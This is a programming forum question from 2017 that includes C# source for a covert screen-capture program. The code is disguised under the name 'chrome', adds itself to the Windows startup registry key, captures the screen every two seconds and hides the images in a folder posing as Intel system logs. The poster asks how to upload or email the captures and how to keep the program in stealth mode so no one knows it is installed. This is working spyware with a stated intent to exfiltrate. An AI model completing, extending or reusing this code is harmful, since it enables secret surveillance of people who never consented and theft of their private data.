How would I go about implementing this in my code/program?

Aug 23 2017 4:16 AM

Hi there. I have this code currently that takes screenshots every 2 seconds and saves them to a hidden folder. I would like to implement a way for my program to then take these files and upload them to a cloud. Or maybe it can put the files in a zip folder every so often then send that folder in an email and repeat, but I don't know how well that would work.

Overall though I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Is there a way to do this? If so, could someone please help me and explain to me how to do so? Thank you all so much!

Here is my code so far:

  1. using System;  
  2. using System.Threading;  
  3. using System.Reflection;  
  4. using System.IO;  
  5. using System.Drawing;  
  6.   
  7. namespace chrome  
  8. {  
  9.     static class Program  
  10.     {  
  11.         static void Main()  
  12.         {  
  13.             //-----this code will make your program to automatically execute as computer starts----  
  14.             try  
  15.             {  
  16.                 Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"true);  
  17.                 Assembly curAssembly = Assembly.GetExecutingAssembly();  
  18.                 key.SetValue(curAssembly.GetName().Name, curAssembly.Location);  
  19.                 Console.WriteLine(curAssembly.GetName());  
  20.   
  21.             }  
  22.             catch (Exception e)  
  23.             {  
  24.                 Console.WriteLine("show1:" + e.Message);  
  25.             }  
  26.             //------------------  
  27.   
  28.             //------------screenshot  loop takes screenshots after 1 min-----------  
  29.             int n = 0;  
  30.             while (n == 0)  
  31.             {  
  32.                 try  
  33.                 {  
  34.   
  35.                     OnTimedEvent();  
  36.                     Thread.Sleep(2000);  
  37.                 }  
  38.                 catch (Exception e)  
  39.                 {  
  40.                     Console.WriteLine("show2:" + e.Message);  
  41.                 }  
  42.                 //-------------------------  
  43.   
  44.             }  
  45.         }// main body ends !  
  46.   
  47.         public static string st = "";  
  48.         public static string date = "";  
  49.         public static string month = "";  
  50.         public static string year = "";  
  51.         public static string time = "";  
  52.         public static string hour = "";  
  53.         public static string min = "";  
  54.         public static string sec = "";  
  55.   
  56.   
  57.         private static void OnTimedEvent()  
  58.         {  
  59.             st = DateTime.Today.Date.ToString();  
  60.             time = DateTime.Now.TimeOfDay.ToString();  
  61.   
  62.             hour = DateTime.Now.Hour.ToString();  
  63.             min = DateTime.Now.Minute.ToString();  
  64.             sec = DateTime.Now.Second.ToString();  
  65.   
  66.             date = DateTime.Today.Day.ToString();  
  67.             month = DateTime.Today.Month.ToString();  
  68.             year = DateTime.Today.Year.ToString();  
  69.   
  70.             Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);  
  71.   
  72.             Bitmap memoryImage;  
  73.             memoryImage = new Bitmap(1366, 768);  
  74.             Size s = new Size(memoryImage.Width, memoryImage.Height);  
  75.   
  76.             // Create graphics  
  77.             Graphics memoryGraphics = Graphics.FromImage(memoryImage);  
  78.             // Copy data from screen  
  79.             memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);  
  80.             string str = "";  
  81.   
  82.             //------------creating directory--------  
  83.             if (Directory.Exists("C:\\Intel\\Logs\\dsp"))  
  84.             {  
  85.                 Console.WriteLine("directory exits");  
  86.             }  
  87.             else  
  88.             {  
  89.                 Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");  
  90.                 File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);  
  91.                 Console.WriteLine("new directory created");  
  92.             }  
  93.             //---------------------------------------  
  94.   
  95.             str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);  
  96.   
  97.             //------------  
  98.   
  99.             try  
  100.             {  
  101.                 memoryImage.Save(str);  
  102.             }  
  103.             catch (Exception er)  
  104.             {  
  105.                 Console.WriteLine("Sorry, there was an error: " + er.Message);  
  106.             }  
  107.         }  
  108.     }  
  109. }  
  110.   
  111.         //---------------------------------------------------------